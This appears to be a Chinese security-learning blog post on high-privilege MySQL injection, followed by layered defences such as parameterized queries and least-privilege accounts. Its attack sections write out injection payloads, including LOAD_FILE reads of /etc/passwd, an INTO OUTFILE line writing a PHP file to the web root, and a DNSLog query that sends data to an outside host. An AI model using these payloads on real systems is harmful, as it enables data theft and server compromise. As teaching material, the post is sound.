MySQL高权限注入原理与防御:从权限控制到参数化查询

发布时间:2026/10/7 16:46:55
MySQL高权限注入原理与防御:从权限控制到参数化查询 我最早系统接触“高权限注入”这个概念是跟着小迪安全的课程梳理Web安全体系时。当时刚挖通一个MySQL注入点发现用current_user()一查是rootlocalhost整个人是既兴奋又警觉——兴奋的是这个点能做的事远比普通注入多警觉的是权限越大、责任边界也越需要拿捏清楚。这篇笔记是我把“MySQL高权限注入及防注入”这条线完整走了一遍之后整理的复盘。它不是什么实战战报而是一个安全学习者的系统化总结高权限注入和低权限注入到底差在哪、攻击链路上每一个环节的原理是什么、作为防守方又该在哪些层次把口子焊死。适合正在学SQL注入原理的入门者、想深入理解MySQL权限体系的安全新人以及负责应用上线前安全测试的研发和运维同学参考。1. 先说清楚高权限注入和你平时挖的注入有什么不一样1.1 权限维度才是真正的分水岭很多人刚学注入时会有一个疑惑都是往SQL语句里拼接恶意内容为什么还要单独强调“高权限”三个字我一开始也没完全想明白直到自己搭环境对比过才彻底理解——注入点本身的漏洞性质是一样的但连接数据库的账号权限不同能让漏洞放大到什么程度完全是两个世界。普通业务账号通常只拥有当前库的SELECT、INSERT、UPDATE、DELETE权限甚至有些规范一点的公司会把读写账号拆开。这种权限下注入能做的极限就是把你权限范围内的数据通过回显、报错或盲注的方式一点点掏出来。但高权限账号比如root拿到手的是什么概念它通常拥有MySQL的全局权限包括FILE、PROCESS、SUPER、CREATE、DROP等意味着注入点从“数据泄露”直接升级成了“可能读写服务器文件、进一步获取系统权限”的入口。这里我整理了一个权限对照表方便理解不同权限对注入利用面的影响权限项作用范围低权限账号root等高级账号对注入的影响SELECT查数据通常有有数据提取的基础INSERT/UPDATE写数据通常有有可篡改数据FILE服务器文件读写很少开放有读配置、写WebShellPROCESS查看进程信息无有辅助判断环境和路径SUPER管理类操作无有配合UDF等更高阶利用DROP/CREATE结构变更无或受限有破坏性操作实战中基本不用有件事必须说在前面任何注入测试都必须建立在合法授权的前提下。自己搭靶场、参与企业授权的渗透测试或CTF比赛这是完全正当的学习路径。没有授权就去打别人的系统不管出于什么目的都是违法行为这一点安全从业者必须有底线。1.2 权限信息从哪来先学会摸清自己脚下的位置在注入点里第一步往往不是急着拖数据而是搞清楚当前数据库账号到底是谁、有什么权限。MySQL提供了几个很实用的函数和库来暴露这些信息。current_user()和user()是最直接的。前者返回当前账号的实际身份后者返回客户端连接时声明的身份。两者在大多数场景下结果一致但遇到代理或账号映射时会有差异所以两个都看一遍更稳妥。如果注入点有回显直接在联合查询里用current_user()就能知道是rootlocalhost还是webapp10.0.0.%这种业务账号。没有回显就用报错注入、布尔盲注逐字符去猜虽然慢但权限信息就几十个字符属于性价比最高的探测目标。其次是information_schema库。这是MySQL自带的“数据字典”记录了所有库、表、列、权限、变量等信息。低权限账号通常也能查一部分但高权限账号能看到的内容更完整。举个例子information_schema.user_privileges和mysql.user表在不同权限下能读到的字段不一样。我在靶场上用普通账号查mysql.user会直接被拒绝切到root账号后就能看到所有账号的权限矩阵。另外secure_file_priv这个全局变量也值得在注入点里优先探测。它决定MySQL能否读写服务器文件以及读写哪个目录后面讲文件利用时会专门展开。高权限账号用select secure_file_priv就能直接看到取值这个信息直接决定文件读写这条路走不走得通。2. 注入链路从0到1判断、探测、脱库的完整套路2.1 先证明输入点真的能拼进SQL里拿到一个疑似注入点第一步永远是确认它是否真能把我们的输入拼进SQL语句。我自己习惯的流程是用一个单引号、一个闭合符号和一个逻辑真/假判断做对比测试。这个阶段的核心不是立刻拿数据而是让页面出现可分辨的状态差。举个例子一个URL参数?id1如果后端代码是直接拼接字符串SELECT * FROM users WHERE id 1输入1时SQL变成了SELECT * FROM users WHERE id 1多出来的单引号会破坏字符串闭合MySQL大概率报语法错误页面要么白屏、要么报500、要么直接展示SQL错误信息。但如果我们输入1 AND 11SQL变成SELECT * FROM users WHERE id 1 AND 11这个条件恒真页面正常返回。再输入1 AND 12条件恒假页面返回空或者和之前不同的内容。真和假两种状态之间有稳定的差异注入点基本就坐实了。还有一个更隐蔽的确认方式是用时间差。输入1 AND SLEEP(3)-- -如果页面确实卡了3秒才响应说明SLEEP函数被执行了。这个方法的好处是即使页面没有明显的内容回显差异也能通过响应时间确认注入存在为后面做时间盲注打基础。2.2 联合查询的完整链路ORDER BY数列、UNION对齐、逐级脱库联合查询注入是最直观的注入类型前提是页面上有地方能回显SQL查询结果。它的思路分三步走每一步都有明确目的。第一步是确定SELECT查询的列数。用ORDER BY配合不断递增的数字当列数超出实际数量时MySQL会报错由此判断出查询结果共有几列。我在靶场上通常用二分法先试ORDER BY 5正常、再试ORDER BY 10报错就能快速把列数缩到5到10之间然后逐步逼近比如5 - 8 - 6 - 7最终确认是7列。第二步是把联合查询的前半段置空让结果完全由我们控制。经典写法SELECT * FROM users WHERE id -1 UNION SELECT 1,2,3,4,5,6,7把id设为不存在的-1原查询返回空集UNION后面的结果就能占据回显位。此时页面如果显示了2,3,4这样的数字就说明第2、3、4列是回显位后续查询就用这几列来带数据。第三步是逐级获取库名、表名、列名和最终数据。这一步依赖information_schema库-- 获取所有数据库名 SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata -- 获取当前库的所有表名 SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema DATABASE() -- 获取目标表的所有列名 SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schema test AND table_name users -- 最后提取数据 SELECT GROUP_CONCAT(username, :, password) FROM test.users一路下来整个数据结构就像剥洋葱一样一层层展开。我在实际测试中体会最深的一点是高权限账号能跨库查询这意味着即使当前连接指定的库是test也能直接去读mysql.user、其他业务库的数据。低权限账号跑这套链路时会在第三步就被卡住因为information_schema.tables里只能看到自己有权访问的库表。2.3 参数计算细节LIMIT偏移与GROUP_CONCAT的截断问题脱库阶段有两个细节最容易翻车我在这里单独记一笔都是实际踩过的坑。第一个是GROUP_CONCAT的结果截断问题。MySQL的GROUP_CONCAT函数默认最大长度是1024字节超过这个长度的拼接结果会被静默截断导致脱出来的数据不完整。解决方法是在SQL里动态调整系统变量SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schematest AND table_nameusers如果表的列特别多可以在注入语句里拼接SELECT group_concat_max_len然后想办法把这个变量调大。不过要注意的是SET语句在联合查询注入里通常不能直接执行所以更实用的办法是分批次查用LIMIT分段偏移SELECT column_name FROM information_schema.columns WHERE table_schematest AND table_nameusers LIMIT 0,10每段只取10条配合 offset 递增比如LIMIT 10,10、LIMIT 20,10就能完整拿到所有列名了。第二个细节是中文和特殊字符在注入过程中的编码问题。有些场景下直接拼接中文会变成乱码影响盲注的逐字符比对。我习惯先确认页面的字符集和数据库的连接字符集是否一致再决定用hex()把中文字符转成十六进制来传传到后面再还原。这个技巧在后文盲注的实操里会具体展开。3. 各种注入类型的“手感”与适用场景3.1 联合查询条件简单、回显直接联合查询适合回显稳定且无过滤的靶场环境或早期老系统好处是效率极高一条SQL能带出整张表的数据。但它有两个硬前提页面必须有回显位且UNION两侧的列数、类型要能对齐。列数不对会直接报错类型不对也会报错比如某一列原本是整型而UNION传了字符串某些场景下会被自动转换但也有直接崩掉的情况。我列一个快速判断表帮助新手理解不同回显条件下该选什么注入手法回显条件推荐的注入类型判断依据页面有直接查询结果展示联合查询效率最高直接UNION带数据页面有报错信息展示报错注入通过报错函数把数据带出来页面无回显但有真/假状态差异布尔盲注逐字符二分判断页面完全无差异但响应时间可变时间盲注用SLEEP制造时间差后端支持多语句执行堆叠注入分号分隔多条SQL3.2 报错注入无回显时的“人工回显”报错注入是我个人认为性价比最高的注入类型它利用MySQL在SQL语句报错时会把部分“错误信息”展示在页面上的特性把查询结果塞进报错信息里带出来。常用的函数是extractvalue和updatexml。extractvalue的典型payload长这样AND extractvalue(1, CONCAT(0x7e, (SELECT DATABASE()), 0x7e))原理是extractvalue第二个参数要求是合法的XPath路径如果我们传进去的是~test~这种非XPath格式字符串MySQL就会报错并把整个参数内容回显在错误信息里。0x7e是波浪号~的十六进制用它做包裹符是为了让报错信息里出现明显的边界标记方便肉眼定位数据。需要注意extractvalue和updatexml的报错回显长度都有限制单次最多显示32个字符左右。所以当查询结果较长时要用substring或mid函数做分段截取比如AND extractvalue(1, CONCAT(0x7e, MID((SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schematest), 1, 30), 0x7e))这个限制在实际测试中非常烦人但也正是它逼着我养成了写“分段提取SQL”的习惯对后面理解数据外带的每次吞吐量很有帮助。3.3 布尔盲注与时间盲注最难受但最稳当页面既没有回显也没有报错信息时只能靠盲注。布尔盲注依赖“页面内容是否正常”作为唯一判断依据时间盲注依赖“响应是否延迟”作为依据。布尔盲注的核心思路是对查询结果的每个字符做二分猜解。比如猜当前数据库名的第一个字符AND SUBSTRING(DATABASE(), 1, 1) t页面正常则说明第一个字符是t否则换下一个。实际测试中不可能一个一个试字母我用的是Python脚本把t换成ASCII(SUBSTRING(...))再用二分法在32到126的ASCII范围内逼近实际值。一个字符最多7次请求就能确定比起逐字母遍历的26次效率提升了4倍左右。时间盲注则是把AND换成IF加上延迟函数AND IF(SUBSTRING(DATABASE(), 1, 1) t, SLEEP(2), 0)如果条件成立就睡2秒不成立立刻返回。这种方式不依赖页面内容差异只要能通过时间判断真/假就能跑完整条数据链路。但时间盲注有个致命弱点网络环境不稳定时延迟抖动会严重干扰判断。我自己的策略是设置响应时间阈值比如基线延迟是50msSLEEP写的3秒判断逻辑就必须写“响应时间大于2.5秒才算真”留足余量。3.4 堆叠注入一个分号带来的质变堆叠注入的原理很直观原本后端的SQL是单条查询但如果输入里带了分号;MySQL会把它当成多条语句的顺序执行?id1; SELECT LOAD_FILE(/etc/passwd)联合查询和报错注入本质都还受限于“单条SQL语句”的框架但堆叠注入允许执行任意多条SQL等于从“只能看”升级成“能操作”。比如可以通过它调用存储过程、更新数据、甚至在高权限下配合文件写入做更多操作。但堆叠注入的条件比联合查询苛刻得多关键取决于后端语言和数据库驱动是否支持多语句执行。我在课程笔记里看到的案例是mysqli的multi_query支持多语句而PDO的默认配置往往禁止多语句执行。所以碰到一个注入点我会先试能不能堆叠能堆叠说明利用面打开了不能堆叠就退回老实的联合查询或盲注路线不纠结。4. 高权限注入的“额外红利”文件读写、UDF与带外通道4.1 文件读写读配置、写文件的权限边界高权限注入和普通注入拉开差距的第一个点就是文件读写能力。实现它需要两个条件当前账号有FILE权限且MySQL全局变量secure_file_priv允许文件操作。我第一次在靶场里通过注入读取服务器/etc/passwd时对这个能力边界有了非常直观的感知。secure_file_priv有三种取值取值含义文件读写可行性NULL禁止所有文件读写完全不可行空字符串不限制目录任意位置可读写读写在服务器任意路径指定目录如 /var/lib/mysql-files/仅限该目录内只能在该目录内操作查询方式是在注入点里直接执行SELECT secure_file_priv如果是空字符串那么利用空间很大。读文件用LOAD_FILE()SELECT LOAD_FILE(/etc/passwd)通过注入回显或报错通道可以把文件内容带出来。写文件则用INTO OUTFILESELECT ?php phpinfo(); ? INTO OUTFILE /var/www/html/info.php但写文件的两个前置条件很容易被忽略MySQL运行账号对目标目录必须有写权限且phpinfo里如果配置了open_basedir写出去的马也执行不了。我实践中还遇到过写入文件内容是空的情况排查下来是SQL语句里0x十六进制转义和PHP标签的引号冲突导致写入内容被截断。这里必须要重提一遍边界读写服务器文件属于高敏感的利用手段只能在自有靶场或明确授权委托的测试环境中进行。它的核心价值更多是帮助防守方理解“为什么不能给业务账号开FILE权限”而不是鼓励大家去搞破坏。4.2 UDF提权系统权限扩展的原理与防御视角UDFUser Defined Function是MySQL提供的一种扩展机制允许用户自定义函数。高权限注入下如果配合堆叠注入或文件写入可以将一个编译好的动态链接库.so或.dll写入MySQL的插件目录然后通过CREATE FUNCTION加载自定义函数从而在操作系统中执行命令。这套技术常被称为UDF提权。我在安全课程里看过这套技巧的完整演示但必须说清楚它离“实战可用”很远门槛很高而且完全不适合也不应该用于非法测试。从学习角度我们理解它的存在意义就够了重点放在防御侧。防守方要注意的点是MySQL的plugin_dir目录必须严格限制写入权限任何业务账号都不能有MySQL安装目录的写权限。同时定期检查mysql.func表里有没有异常的CREATE FUNCTION记录——这是UDF被加载后留下的持久化痕迹。我自己在配置数据库基线时会把plugin_dir设置为只读并加入文件完整性监控的列表里。4.3 DNSLog与带外通道数据“带不回来”时的出路盲注最痛苦的是每猜一个字符都要发几十次请求。如果目标环境允许MySQL向外发起DNS请求就可以用带外通道OOB提升数据提取效率。核心思路是把查询结果拼进一个域名里让MySQL去请求这个域名DNS服务器上就会留下查询日志。域名结构一般这样设计[数据内容].你的域名.dnslog.cn注入点里的payload用LOAD_FILE()配合UNC路径或者用dnslog的子域名拼接SELECT LOAD_FILE(CONCAT(\\\\, (SELECT DATABASE()), .xxx.dnslog.cn\\a))MySQL在解析这个路径时会发起DNS查询域名前缀里就带着数据内容。然后去DNSLog平台看解析记录就能得到数据库名或其他查询结果。这个技巧我在靶场上复现过对理解“数据外带通道”很有帮助。但它的现实约束也很明显目标网络必须放行DNS出站流量MySQL的secure_file_priv不能限制LOAD_FILE的文件读取范围而且现在很多安全设备会监控异常的DNS请求。防守方的对应策略就是内网DNS做域名白名单和解析审计凡是发现向未知域名发起的解析请求直接拉黑。5. 防注入真正该落地的四层防线5.1 参数化查询一劳永逸的根防注入最核心、最根本、也最没有争议的方案就是参数化查询也叫预编译语句。我一直跟研发朋友强调在防注入这件事上90%的精力应该花在把所有SQL改成参数化查询上剩下的才是过滤、WAF那些辅助手段。参数化查询的原理可以通过一段PHP代码来对比理解。拼接SQL的长这样$sql SELECT * FROM users WHERE username . $_GET[name] . ;如果$_GET[name]里传了admin OR 11最终SQL就变成了SELECT * FROM users WHERE username admin OR 11SQL的语义结构被输入内容改变了。而参数化查询的写法是$stmt $pdo-prepare(SELECT * FROM users WHERE username ?); $stmt-execute([$_GET[name]]);关键区别在于prepare阶段MySQL已经解析并固定了SQL语句的结构?的位置只会被当成“数据值”处理永远不可能变成SQL语法的一部分。这就像提前把兑换券印好后面不管往里面填什么都只能是券面上的金额不能自己再印一张券出来。我在代码审计时见到的反面教材很多最典型的是一堆增删改查写在公共函数里自以为封装好了结果内部还是拼字符串一测一个准。判断标准其实很简单把所有SQL语句过一遍凡是包含变量拼接而不是占位符绑定的一律打回改参数化。5.2 数据库账号最小权限把高权限账号锁起来参数化查询解决的是“输入不再改变SQL结构”的问题而权限控制解决的是“即使SQL被改变影响能有多大”的问题。两者互为补充。我在之前的内容里反复强调高权限注入的危险性那反过来说防注入最有效的措施之一就是让应用连库的这个账号没那么高权限。具体落地的做法是应用连接数据库不使用root或超级管理员账号而是单独创建业务账号例如app_read、app_write。读库账号只给SELECT权限写库账号只给INSERT、UPDATE、DELETE权限不授予DROP、CREATE、ALTER等结构变更权限。甚至可以把读和写再拆开不同服务用不同账号避免一个泄露波及全部功能。FILE、PROCESS、SUPER这类高敏感权限默认全部收回确有必要时单独评估、单独授权。这样做的好处是即使注入点真的被利用攻击者也拿不到mysql.user、读取不了服务器文件更谈不上写文件能做的事被锁死在最小范围内。不过我实际操作中发现了现状和理想之间的差距——很多老项目的连接配置里就写着root账号甚至密码就裸奔在代码仓库里。这时靠安全团队推动改账号会遇到很大的阻力就需要分步走先把新业务全部限制为最小权限再逐步对存量业务做账号迁移同时把配置文件里的账号密码从代码里剥离放到环境变量或密钥管理服务里。5.3 输入校验与过滤只能兜底不能指望很多开发者以为对用户输入做一轮黑名单过滤就安全了比如把select、union、and等关键字过滤掉。但我在靶场上验证过的绕过滤方式就有好几种大小写变形SELECT变成SeLeCt、内联注释SEL/**/ECT、十六进制编码、URL二次编码、宽字节注入等。黑名单过滤本质上是在跟攻击者的创造力赛跑注定跑不赢。更稳妥的输入校验思路是白名单如果参数期望是整数那么is_numeric或者强制类型转换一下非数字直接拦掉如果参数期望是固定枚举值那么只允许指定的几个字符串。这种方案在特定场景下非常有效。比如?id1后端如果写成$id (int) $_GET[id];那不管你传什么进来变成整数后只剩数字注入直接失效。说到底过滤只是增加攻击者难度的辅助手段真正守住防线的是参数化查询和权限控制。我见过一个比较典型的“假防御”案例某系统对所有请求统一过了一遍addslashes看起来把所有特殊字符都转义了但遇到宽字节或GBK编码时反斜杠可以被吃掉又变回原始输入依然能注入成功。这类问题的根因就是对编码处理的理解不完整解决方式还是得回到参数化查询这个原点。5.4 WAF和审计日志兜底拦截与事后溯源前面几层防线都做扎实之后WAF和数据库审计可以作为最后两道关卡。WAF的价值在于拦截还没到应用层的恶意请求比如SQL注入的特征载荷、常见工具的命令行特征。但它只能覆盖已知的攻击模式和指纹特征碰到绕过技巧或者小众自定义payload效果就大打折扣。我在部署WAF时有一个切身感受WAF规则越加越厚误报也越来越多最后研发会骂娘运维会调低防护等级。所以更推荐的做法是把WAF规则聚焦在“明确的高风险特征”上比如union select、into outfile、load_file这些高危关键字组合其他中低危的交给应用层去处理避免喧宾夺主。数据库审计日志则负责“事后溯源”。开启了general_log的MySQL实例会记录所有SQL执行历史一旦确认发生安全事件能直接定位到攻击者执行过哪些语句、尝试过哪些库表。但general_log的代价是性能开销明显生产环境需要谨慎开启折中方案是使用审计插件或定期从代理层导出SQL日志。我的经验是可以采用云数据库自带的审计能力配置核心业务的审计规则general_log仅用于短期排障用完即关。6. 实操中踩过的坑和排障记录6.1 注入点存在但数据就是传不出来的五种情况学习注入的过程中最折磨人的不是找不到注入点而是注入点明明存在数据却死活出不来。我把这类问题整理成一张速查表方便照着排查问题现象常见原因解决办法联合查询报错或回显位空白列数不对或数据类型不匹配先精确数列数再逐列试数据能回显的位置报错注入时数据被截断extractvalue/updatexml最多回显约32字符用MID分段截取数据页面总是返回真结果注入点被WAF拦了但被静默处理对比有无WAF时的响应差异调整payload编码时间盲注时判断混乱网络本身延迟抖动大阈值设大、SLEEP时长设长、多次请求取中位数中文数据出来是乱码连接字符集与库表字符集不一致用HEX编码后再解码第一类“列数不对或类型不匹配”是我出错最多的地方。联合查询时如果某一列原查询结果是一个字符串而我们UNION了数字MySQL有时会自动转类型导致数据出不来有时直接抛错。这时候我会先把所有UNION位全部填成对应类型的常量比如数字位填1、字符串位填a先确定每一位的类型再逐位替换成查询语句去取数据。第二类“报错函数截断”前面已经提到过就再补充一个细节extractvalue报错回显的32字节限制包含了前缀和后缀比如你写CONCAT(0x7e, 数据, 0x7e)实际上中间数据能显示的空间在30字节以内所以分段长度我一般控制在25到30之间留出冗余。第五类“编码问题”在中文站点的测试中非常常见。最痛苦的一次是我用布尔盲注的脚本逐字符判断数据库名跑出来一串乱码后来一查发现数据库的默认排序规则是utf8mb4_general_ci而HTTP响应却声明成latin1。之后我学乖了只要数据长度超过纯ASCII范围一律先用HEX()把数据转成十六进制判断完再整体解码绕开编码干扰。6.2 防注入建设中最容易被忽视的三个盲区排查攻击侧的问题是一方面防守侧的常见盲区我也顺手整理一下。这几个问题不是技术上有多少难点而是日常开发中特别容易被想当然的地方。第一个盲区是“只防了GET请求漏了POST和Header”。很多老项目的防注入过滤是写在一个公共方法里而这个方法只在GET参数那里调用了POST的JSON Body、X-Forwarded-For这种Header字段里的输入直接就进了SQL。我测试过好几个系统GET参数过滤得严严实实但请求头里塞注入载荷直接就打穿了。防御时不要只盯着URL参数要记住任何用户可控的输入点都可能成为注入的入口入参校验必须在网关层或框架层统一做而不是在各个Controller各写各的。第二个盲区是“批量接口和导出接口没纳入同样的防线”。开发经常会把主要精力放在增删改查的接口上但像“导出Excel”“批量导入”“定时任务”这类边缘逻辑往往为了赶进度直接拼SQL。有一次我在审计一个后台系统时发现导出功能居然用了四条拼接SQL而且连接的是root账号。幸好这个系统还没被外部扫描到但教训很深刻安全测试的覆盖面不能只看入口多不多更要看每个入口下面的每个功能分支是否都用了同一套防御方案。第三个盲区是“测试库和备份库的权限和生产库一样松”。有些团队把生产库的备份直接丢给测试环境或者测试库直接做了生产库的克隆导致测试库里的账号也是高权限的。我在测试过程中就见过测试库因为防护薄弱被拖库进而通过相同账号和密码反推生产库的情况。研发环境必须要做权限隔离备份库要脱敏测试库的账号必须另建不能沿用生产的超级账号。7. 防注入体系回顾我现在的代码审计习惯学完这条线之后我自己做代码审计或安全评估时形成了固定的检查顺序先看数据库连接配置是用什么账号连的再看SQL语句是全参数化还是拼接最后才模拟注入请求做验证。这个顺序基本能筛选出90%以上的高危注入风险效率比一上来就对着每个接口打payload高得多。以小迪安全课程里不断强调的那句话来收尾**搞懂攻击原理不是为了炫技而是为了在写每一行代码、配每一个权限时知道要防什么。**高权限注入这条线走一遍之后我对MySQL权限模型、SQL执行原理以及应用层防御方案的理解都上了一个台阶希望这篇笔记也能帮你省下一些摸索的时间。下回再看到current_user()是root的时候希望你想的不只是“又能拖东西了”而是“这个系统到底为什么把这么高的权限交给了应用层”。